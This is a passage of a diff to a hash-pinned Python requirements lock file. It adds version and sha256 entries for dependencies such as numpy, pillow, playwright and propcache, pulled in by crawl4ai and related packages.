\ + --hash=sha256:e5ccad4b7bac125722f48d6f862bed3b514d8526deea06316bb72f152cd30a7c \ + --hash=sha256:e7386aa18d98d6b8af44b92173654ec469237fda35f8e8523e43b581a86f476a \ + --hash=sha256:e81ae656b9935ac4528a71f96bb7a14d949778ed1897c573d3e7ebb9187f8841 \ + --hash=sha256:e8f1e362c9352b50ed120f001046fdbb80810c9d56580f4c3fc13bbe30823387 \ + --hash=sha256:e96ca64383efa107262ee3949f047af5ee4f1845ba09463466c04d35a83bd3ec \ + --hash=sha256:ea999ae6e80e66ad5eea287860951b033d0104ca34d6d87c7b5125ebe0e12721 \ + --hash=sha256:ecc89dbd4155b2f8a47f4bbd89242a35ed15e8e0ec581cab5ac65fa38407329d \ + --hash=sha256:ef01d29fca550ab871fd99154f82c6472aacf8e7def272dfb07b460123850390 \ + --hash=sha256:f04551dce5a7db8c9659f2e4245494c182d0663b83661803e08d46bfcae5eda1 \ + --hash=sha256:f0700527dd5bfa8b7204b08330542f4f388899d3c14d885d8a368992e0eb562d \ + --hash=sha256:f2524ec55b3e65cbe235a8b3c36e2af3b635be02ed05e20c94e70c5c943c009e \ + --hash=sha256:f5844e7befc707367807586f550fa97e23dcfef0728f02b98c7bc498a961a5df \ + --hash=sha256:f9dad513626a33670f17cddc6078e30e311f444c957e8dbfc5b2b4603c8b4edb \ + --hash=sha256:fc0dcb22fa9aeabfe3fa4e0430099acff985ec5d77a851382f76cc6146e780e5 \ + --hash=sha256:fd882aa29bf402b62bf1fd7c19fd5df4b6528cf468a908864b39368572b662a9 + # via + # aiohttp + # yarl +networkx==3.7 \ + --hash=sha256:e3fd2c13a7814cee3746340d8d7f8598a67f16a58bf47fb7f8793fab6efca1b0 \ + --hash=sha256:fd77a511bd90f39f3d016351345b52cf5319b813bdca01de3f755d3cca62e96a + # via alphashape +nltk==3.10.3 \ + --hash=sha256:bb9327a461c3811c2fa4900e03840401f2126adfb30c0072827c433bd2444ea4 \ + --hash=sha256:ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c + # via crawl4ai +numpy==2.5.3 \ + --hash=sha256:012e66aca395d795496446e52aeeb5866312a5d4d3f27da270e5a0b43f70dc5c \ + --hash=sha256:09d5a423c71ad5feb5625844ad58050e35df43871004b52ac9c0ad44a56775be \ + --hash=sha256:09ffa5d903faeaa5c4dd05009cf81c8bab9f2cb37c548b8d39b65b4cfa7c97f7 \ + --hash=sha256:0a59a421a32580a009e8a1751345bf829631b990dc1794b80514ab722b435def \ + --hash=sha256:116f96cadd935c6122e9228d676fe7ede19e741f5c8bb1c3cddbe0c51ccebea2 \ + --hash=sha256:1302b90c0e52281681b2975adfe8a860cb7b12216a27b4b0b4207c44bf7bccf0 \ + --hash=sha256:15aa985ac73a8db02db7663381aa109510449d3819d37206caed27b33a65a8a6 \ + --hash=sha256:1aad64d99730d013cfc6debafed22783b4fc5a7f4b8bc744d2d8cf7dcc880551 \ + --hash=sha256:1c80eabb4035ecf4ca9cd49cde8a9fdd69a729e63e6474887d1523ade7aa277f \ + --hash=sha256:1f3ed25271581281f2fccb1adcedfcde4c07362eec69189b50baf6f90e3ae159 \ + --hash=sha256:1fb6f8fb9ff0b3a69f52c66ce397b0246583e9f28616231b0e32ca49259a5fa6 \ + --hash=sha256:214045a5bf00113a146ab9ee9730c44501af6723cdf1f6830932f7b5ef2e7af0 \ + --hash=sha256:26e15e4aecd8617dfbaecb37d223e365d7b39411fba20454be2670a96aa74cb5 \ + --hash=sha256:2c25dfa72943e4336ddb6b0ee4277b47a0c85bede0807530ec68103bf58e2c10 \ + --hash=sha256:2d8240cb4c16fd831074aa2b2cf9fc54664d826341d61c372245b96a74a49a9a \ + --hash=sha256:350ba9783ce969cf9f7ce6e6a9a58e1a6e2a19ca025b7ee448c4db727706212a \ + --hash=sha256:4c8a6d2ebce6305fd82fbefca827775437147052a976ee7c94b36a0c1b52ac6c \ + --hash=sha256:4f8929ee6c96bfbd7b4ed2032e0c03af86fe1826740ab61ddabf9072d06e57ff \ + --hash=sha256:536f963710a4e63934d80ac0dc4f478804a83e9a84b6828018f25d09953ada33 \ + --hash=sha256:54a115e5a73b8fc44f0cebef486365a1894b5c9760685d4558b72b7c3eb846e0 \ + --hash=sha256:595d020938c84e320bcf40ad71089e108eac0d377cd018e14a8c094f39e98d85 \ + --hash=sha256:66a78fe4556c60aceda5916f9eacd638b18e9e681016ec302dcb4682d6d4d034 \ + --hash=sha256:6b05c171afb3aa07adbd20abc00aea86fe375beb0fdb9ef780ec5b7f63bab1c0 \ + --hash=sha256:6cef4bb1706dfec49243c05d921eefb4e190d41e2528b30d8035ea1f36b4c24a \ + --hash=sha256:6f24021b9f22bc6301c37b196974a92c1c18dccedb6fef3dd252e95f2d6adbe4 \ + --hash=sha256:71b39d9f935b6ec0f8753e3e2afb51e3efba6f2e05b68b32a40754d24bcd4a3c \ + --hash=sha256:71cad2b2a7451ab79d8f5e71b453485b6775963d5cf794179144a7463fe6e8ec \ + --hash=sha256:76c2c1e6bfa5c84adc6434dfbf013aa92096a7985221762c8f11fedfd20fff58 \ + --hash=sha256:8617bbfae4486cf99c9f899966699428d19da931d06ca94ad3da986c76e15997 \ + --hash=sha256:86bff898a431c0fb71f7610b75726e75a54d47b37edc9d537f48de63bb3c0b90 \ + --hash=sha256:8e4dd766076855b5ff7ea52fa5f07ce26286726e0f8bff446b7739d02e6ea204 \ + --hash=sha256:92f30e89b8ee0ecf363033576c422b2f58fed6a80bed0aa48dff6d14c654663e \ + --hash=sha256:93e1f5447e2b1e479d7bd74701e84746b86450cff1fc368b132d195e2b8f8211 \ + --hash=sha256:9a37475425b431b4d060f23b4f52cd2f3aef6bc7c654bd760adf0040eec9d435 \ + --hash=sha256:9deb49575e5b0b94ed72c8a64ec4d033381adc27e9060ae842971f697ba96104 \ + --hash=sha256:a5fa86b80fd24bcd1aff83ad23be44ea323de3f787be8f8b15d4a65621e25321 \ + --hash=sha256:a6391fafaba97500887132cd582abc6e19452b1ac775a47caa7b24490e152058 \ + --hash=sha256:a72f874bc9e10e4b8f80426fb49716d5141f64442a0c8418065093ec8017fbb0 \ + --hash=sha256:ac7bb1c52d445bd4f8f7f97fefe6abc3a084dc4d63df50d79b17fa2b78e89297 \ + --hash=sha256:adc1ada2662f8a5f960b8a10d9986897e7499ef07e06d4cfe7197f8cce923c07 \ + --hash=sha256:b00eefbcf0f292945c4b4dec2ae845389ef5bcdcd596e6e4328051db5b5ba694 \ + --hash=sha256:b0521d0f4aebb6e06189451025fa17a913287b13c03d5fe05c017333b654ea5b \ + --hash=sha256:b5d93cf48f687479941d12b69c873ad2cc76bbd487f0091c2200636497f34034 \ + --hash=sha256:b7e18c623bb5c95acb3b3328861272816ba199fb531921c5d6d0b675f1fde9e3 \ + --hash=sha256:bd4cb9ad3c7889b9b3fe0a9a9fb5d2ed26f9879bff2608d9f01aed147a20d231 \ + --hash=sha256:be5a8381859b6da607c84f4f7d6847725f1cf1853ef8a2c9e115b7d58bef47dc \ + --hash=sha256:befa1ae5bd6030b3f512b43ff3fa5290bbed6b84411a44244b14adf835f5b89d \ + --hash=sha256:bf63afbe037eb5d2fe87fbcc7778e61da53ebaf21d938a4515aa73b62532a5d4 \ + --hash=sha256:c00abe94c1a69d75d827dcf1c025b25c8a45d230b3bcd77a9020883a1b047653 \ + --hash=sha256:c2381f82999704f818e2c987a865050e285ec3621262c66d40f5a96c8f899f8e \ + --hash=sha256:c76d5dde9f445058f83d0c02af00557a4db91de9a9a57c0df87d1535001d654b \ + --hash=sha256:cb189f09db39283b26bfd061ec16189e14f71c6755207f72a0f7540867afe5b9 \ + --hash=sha256:ccb32e0525d29e8b0572eb84c9a57af0e7a4e615726927506f55063c62414034 \ + --hash=sha256:ccbc4665079665c3cf3bab4db9f6b095370cd6437d66be549b6c2a1fd19e1958 \ + --hash=sha256:d1c89973648c85069c5046ad460f7b8a00218b29a2e42359ac8cc63e9ab94832 \ + --hash=sha256:df2d5874ff183595a4ba404edd04f6bd9b5505c1d7708573f6a6c17489a67563 \ + --hash=sha256:e01c918ac3d48e18a927cf7b14a26a3e29ff2bdf2eacb976da0aecd6a43ed034 \ + --hash=sha256:e6ab667ba76450084eb64013762c438ea76d9d29cc676dcd6c2e9892ba37f841 \ + --hash=sha256:e931e4f499e0dc7ef29d269a8e5b35dd722e5d14be07df6240166ea7c6532fae \ + --hash=sha256:f54660b0eb6b0b9f36e7fe1cdfdff472028dd0d14acd9b9b65098efbad059469 \ + --hash=sha256:f59a878c33d6b88122d80d239bb3b845d58708750b0cb06a09aebb9b18ec696c \ + --hash=sha256:f7fabeb6cea87d65f3b926de33d03fb016cfdc29314c90974383b5582ae72891 \ + --hash=sha256:f9579f383d1bf9df80081e72760e84960a7fd4f88cf0c9e535a8597c9bb646f5 \ + --hash=sha256:f9a2353b37a1a9e78fd82b27ad7e2a32a2d036604d18f02b05e3136c62ca3b09 \ + --hash=sha256:fc36dc566135b5eceec4cf89758fcb719266a019ef07dae1754ae7c9f617ef3e \ + --hash=sha256:ffdc76bfcae6b255dff75202c5e7feaf95b40246bc0a17944facc1fecf9f79ab + # via + # alphashape + # crawl4ai + # rank-bm25 + # scipy + # shapely + # trimesh +openai==3.19.2 \ + --hash=sha256:66247fcd07266e72536e90656dc27f3b0bb1e9d8696d4013fc55402c0b96a5c2 \ + --hash=sha256:de185f9834ad064d965ec42bd0766731cf66bceea16a7670294a835d207019e6 + # via unclecode-litellm +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c + # via huggingface-hub +patchright==1.63.0 \ + --hash=sha256:1c08a30d0fbd4b76d27fc5b254687ec6311e3da65b6451f55eac1c8ebe81fc15 \ + --hash=sha256:2f0b285cc3fc482b818560e30ee811486bb2eb7bcfb3522dbf75b703ef3cc24d \ + --hash=sha256:74878ef6abaceabf630cf0e9fb40b6e3158fd1a02509b89bbe46e626a3c999b8 \ + --hash=sha256:a1ddf092b330b9b47fb1a4db63563be4906c295cb386233aac71b92b7338c24a \ + --hash=sha256:b1093a9788ea7e76cd9329619d04e10b7b97b89e4e6f6895489d6c7134f1ccc7 \ + --hash=sha256:b3d2b1baae00b22f93837b0429cad7b250c51b3b46a4de0e5db0db0c4d48edc0 \ + --hash=sha256:cbeb9c7f552d96ced0922ad2fc4bd5fca817a97fb2eeabc13d1bfadf95efac1a \ + --hash=sha256:e28eca0e6424b2e84b2c8af6b06ee89d8764e5b675061a934d9a99fc3ae441ea + # via crawl4ai +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 \ + --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf \ + --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 \ + --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 \ + --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 \ + --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 \ + --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 \ + --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e \ + --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d \ + --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 \ + --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 + # via crawl4ai +playwright==1.63.0 \ + --hash=sha256:1e4a3a838ce22fb68ad17193fcd142a19610d9d70fb9966d2239f5dddc0cc05b \ + --hash=sha256:2f9a707a6c6c91157ed77bff2b8caeb04b3c8d46e70d585fc134298cbe4b5cc6 \ + --hash=sha256:354e15b29503565fc598b89f16fbe070459343bef9d7498a93e304864000c6a7 \ + --hash=sha256:660c00c62639e31b16700ba5456b351ddba55bb766b7ce8261223aa34928e482 \ + --hash=sha256:84c540759e8e7f01e690e197e04060f48899d37cea322299f255843273d3385d \ + --hash=sha256:ad21bc07516b187965a7521c5cf0df0bd657b17482eaad74335272d35a2b07de \ + --hash=sha256:c89fc4736502a1f0fac2c8ca5d10c0cbc1c669f1f4774a2d8507a43140e4d53f \ + --hash=sha256:fd1aa00631d44d55e56e0975bf3f3f285fac4a9fd2813183f0c12a488f1a1b24 + # via + # crawl4ai + # playwright-stealth +playwright-stealth==2.0.3 \ + --hash=sha256:1887ade423ab7ff8ae16d363a30a38de0b5817e1e4a29d47b74bf3a0e3dbfcb4 \ + --hash=sha256:1d8e488fbdd8f190f1269ea8cf5d57d14df3a9f1af1001c41ee3588b2aac3133 + # via crawl4ai +propcache==0.5.4 \ + --hash=sha256:004e685b315646c410771836e72a44f143bbe624f29653a42687815069a303d5 \ + --hash=sha256:02c0a34f16889cf800f10f0247a564d8ce6eeab6ffcd7c87198f769067eb8432 \ + --hash=sha256:03969626faf0783a592dfa17e28eac06018bd0b44dafae6943d53b92421a7f72 \ + --hash=sha256:03b229037d25b801e7af53fd52b9fc49d9439b036fca1e087e02780631adfa97 \ + --hash=sha256:0951315a6b3142ee2167404d707743f0157c110091342b1aa0accac5cf0e4acf \ + --hash=sha256:0a095db8e15a6020db149ecbed6461939fe74f6acaa3ae8b702a1fe8c38cd983 \ + --hash=sha256:0c889f6fa84957bc7e8b4eab71fd16a0455068d5045e3aa40c733071d2b2fd77 \ + --hash=sha256:0d21d0d2c82bbfeb1677a9711f38df968f9837576102bb4add1bd449d28d88f1 \ + --hash=sha256:10ef33a68a61ce317e095fd2e202a592ea92392b90944a78c993f0d9a73ab06c \ + --hash=sha256:12682126712ddc19b70ff819debbd279e58adf1f0c8f8f8138c18ade2044b284 \ + --hash=sha256:135036c5cfc93864affb0f9af9a27e5d7a71cb7bd745e7b6dbfc2d56cc30e827 \ + --hash=sha256:13e52b6e0bde97dee98ab66552dbff2931649c96f1ac432eac299fe689ec373b \ + --hash=sha256:141fdbd73748db0cf7636035030aaac383d2efde8f34e7bc24594cc776d225b8 \ + --hash=sha256:146f48a9e4812611a7581003b1a39de56c34967046310c4171a68ef908c9a745 \ + --hash=sha256:174507f82d3594622acb1dd2dafecf2d899d6d506335494e7107767bf05f3aae \ + --hash=sha256:1783582065a1f07f9d9ee1e992e13f15d7dc8fb1eb3a7476d43eb3f2e69d26bb \ + --hash=sha256:17a7400cec0256f0a71ae71f9da398f9894c956ff6668a1c9d317b3367316320 \ + --hash=sha256:1b2f3bec4261a94019575481c726c29850f72e27907773c75b1de421e20e9f9d \ + --hash=sha256:1d759d05634f1b038fb625a66662a8c85e5a8fec912da381b5149ddac107482b \ + --hash=sha256:1df8d8561b21465c5dd56110a01caf897e026d065b4b84e98a488209094272ec \ + --hash=sha256:213bb68d9ced5cf2bf717b1071bf2b09b4b04c426256f9fe6d054c60318424c4 \ + --hash=sha256:23278f808cd81d5ada7184a76606b925fb3389c60e1077b2cd7da7b1fcf0553c \ + --hash=sha256:251c63dd46a0659bb875cb254dc4c1e79ee91a847c737cd62373295afc2235dc \ + --hash=sha256:279655a16973f1ee2bd2fe79973137681642fd9ae0d89215bba263726eb0dc3a \ + --hash=sha256:2814ecd8e818f487bee4b0f921bc4d1c176cc5fc71ac0f072d0fa67eda4ac14b \ + --hash=sha256:286867fb156488c251a3721766e380ac4495e4fd6b51aaa1403d89ce7f4359d9 \ + --hash=sha256:2dba2f02d2d5c09ef8a0e6c1a42aeaa451f4be9898cb00b04fe98717da2eb23b \ + --hash=sha256:30cc1cebaf9aef49db06357a50398323ae04d70460c0491837d026ab7d6452ea \ + --hash=sha256:31eb43ba2edc704ab2ec27815315dd8a19def0fb16215be4cfe8d32fe78ffd51 \ + --hash=sha256:350b272b2279f4135a64fc0c304a5d08e28a137c9573442c606152446638a831 \ + --hash=sha256:36c0d9db44b523ef93d03341b1c42d69ff01d673c053d1b1c6c3a363bcaa39ba \ + --hash=sha256:3af0c8642b2da4815d86e631232ac8286e17644fad907c19508aa8e7cb4ba8ad \ + --hash=sha256:3cd3a7edb6b95b9b33998135ebfa18d709da82290fb8f27c858970b5a12c8b56 \ + --hash=sha256:3d605bb239b796e82a81c6709548b2bd460ab73b4590cb0c83de8a2dd9694d0f \ + --hash=sha256:3e413d7a4a9b4866b7a761d6060d434b64d23cd35122eda3b026a0bbe8196b25 \ + --hash=sha256:3eb2e820e8e2101407da93f17c57cbb7d225461955fc60105daaba14cd421ee2 \ + --hash=sha256:3fa15757fea1dfcd5b7745cad9f4638929605531bd4018ab2adff7955f1a403d \ + --hash=sha256:3fc24f209c1b7f7f688b66b98293954f5504279760999b58920ee12dd8471c1d \ + --hash=sha256:4054acf80d40456a0537f2913b349718649d8d6458a14ab7f48d0ce28c30869d \ + --hash=sha256:40e94adb1e7d39ff28a8bd8d8b8fbd1df6b9f40976dbe379134f1ce058e532dd \ + --hash=sha256:420162a77f94eb1cf5ef7893f500016dabd548e73de956785a1dd899cc73006a \ + --hash=sha256:425f8cc86ab5018b4b8d4a23bc8e74d964bd3d757c3702e301aa79be76c53f6c \ + --hash=sha256:44149f46500a0a41b95b4d99c2e586a77319539730607b9892974a092788b111 \ + --hash=sha256:445ee3bfb46e85838387fb3c536a73cc0b994dc192b004e40e170adc54aa2a7e \ + --hash=sha256:45488d1a5f9ab5bd90aaa1ca20f50fe1922b8ffad71a2009d2adf41355897aac \ + --hash=sha256:45bebbe252550fec975ba3b62bc6f931643cfd3b5464ef47619cf3fef154e01c \ + --hash=sha256:45bf2e730ab8905d0527fe05a86500f406e64305c34cc81ebe64b4617cab9760 \ + --hash=sha256:48cb48c5346a97de792254af77715aa2529c2a1ebc5f586aa0aae44a02f1fe57 \ + --hash=sha256:4a1f4f5ffa55dce6307631f3cb2948e117e665966ea512e0d502b16c24f567e7 \ + --hash=sha256:4cfe0a92ae30151869e67a4b5f5e105e4e03ad30b3f38e5211b5bf77d0881993 \ + --hash=sha256:4d86476a935c88963d9b8e1a9a0d38188790e9622169bfbafa173046846709d3 \ + --hash=sha256:4e985382be6d15da8d0c2710a6fa7b9070fc9ecdeefb7f580e88373984ec8be3 \ + --hash=sha256:4f2d880ff60f45898f4acfa152aac8d04e3ee627d90ff4003491bf92239d5757 \ + --hash=sha256:4fbc1a15dc8cd1689508758d626b372b1f09d28d9577667feaf9e6bfcd8efcbc \ + --hash=sha256:50e337653721d20ead710da33bf44487fbe8a0db8782714b60306481e9f95b51 \ + --hash=sha256:53eaa697c4d0422ff4cb714d00231b43352064d97b944033b30c1d57cc506ec0 \ + --hash=sha256:56fc3f7599528db40b1efa0889a620116e2704144495273d66066e8164e45838 \ + --hash=sha256:58134228927cee6c047d626c08e60a81be604a20578a12ce752cc5c9a84d4826 \ + --hash=sha256:594eb4c6ec35e7179b058481f4e9f02521b56de16fa577c4b85c76fb1bf8a9f8 \ + --hash=sha256:5cacf3c9efd09df409dc33654dd077e1c245ba8fb747b0f0236ef41b7c49b589 \ + --hash=sha256:60a64cbccaa11b7760ce705a14ada17ba459e7ca9f23ba587eb013821032d7ef \ + --hash=sha256:62530ca89187827e4a4fe733f971abe81a7542eeea48ff61995f19b64d7199c8 \ + --hash=sha256:62c60aec739ed00124573cce1178138fd690c7676352d67a37328c1cf51d7468 \ + --hash=sha256:69fc35c0779522da366c563e5faf203ffc1f8ff0021d5b1337fa4efa5be73177 \ + --hash=sha256:6af4693716bfb03f1752ef1b30faa593db2c01d5272e9b8564a1549452a979ab \ + --hash=sha256:6c7599df2b57ebeea8de011b5f2f7b85de95e76037d43d34b95e328430275487 \ + --hash=sha256:6e9368e87a3efc285e559131092c5db643eb8e56de4ee42064d5baec22ef2bb5 \ + --hash=sha256:6f0093ac3e9daada202c2082439d414a625c57184727a46e112a3fb2a81cb788 \ + --hash=sha256:7177c43eddf10a0893c4fec52ebb408fdcd7f7d63962caace9180d8f81b14ece \ + --hash=sha256:720cf832eb2d0b0dfee129cb3335a26f6ce3cc45ee1187e8f0731758caa16792 \ + --hash=sha256:770e8209d018175fc0063936fa9583b6d27e88c5ad31543f3383d66080efdd62 \ + --hash=sha256:7a8d5ff04eb1f85698a78d20c62a14676e7b960dcafde09a388d60ad377d355d \ + --hash=sha256:7b9100a93b372418d8688f3f2a3e5b45c64d70ca4d6176e121aca1e3bfc1e32f \ + --hash=sha256:7cc528e760a8af06f2b13e9b9f362cd90c7c718ea61228a96dbd31ba16ed7f47 \ + --hash=sha256:7ffafcbfc7b549ab940047e505c831eabac5e67de53e1bc174adbc5285c55944 \ + --hash=sha256:87a3caecf8095e48dc72f84bfa42e23a848cf410cc9cc13031fba4869b706a21 \ + --hash=sha256:886b59c4d28ca97dd23b025fdfc50a0356be934efbbbca89ad26230067f86fe5 \ + --hash=sha256:8876b39961e33d912afe3c1bee18ee564fdad0206f873cc15d522756b7f50737 \ + --hash=sha256:897d1ddf6716e8f47200f7aad9a0efa6cc7586df66c6defa572f9eab379c078e \ + --hash=sha256:8a1fc236528c457cd739c88abe823da851b7ab645d72792f88658114cc340c12 \ + --hash=sha256:8a235f73d6e020855dc29dff012d920c02ee0feab8d73a24185a7569f4be1161 \ + --hash=sha256:8f911c395cef73c510bac566da9507bb6a43e7763d0c79138dc60ee53f11207e \ + 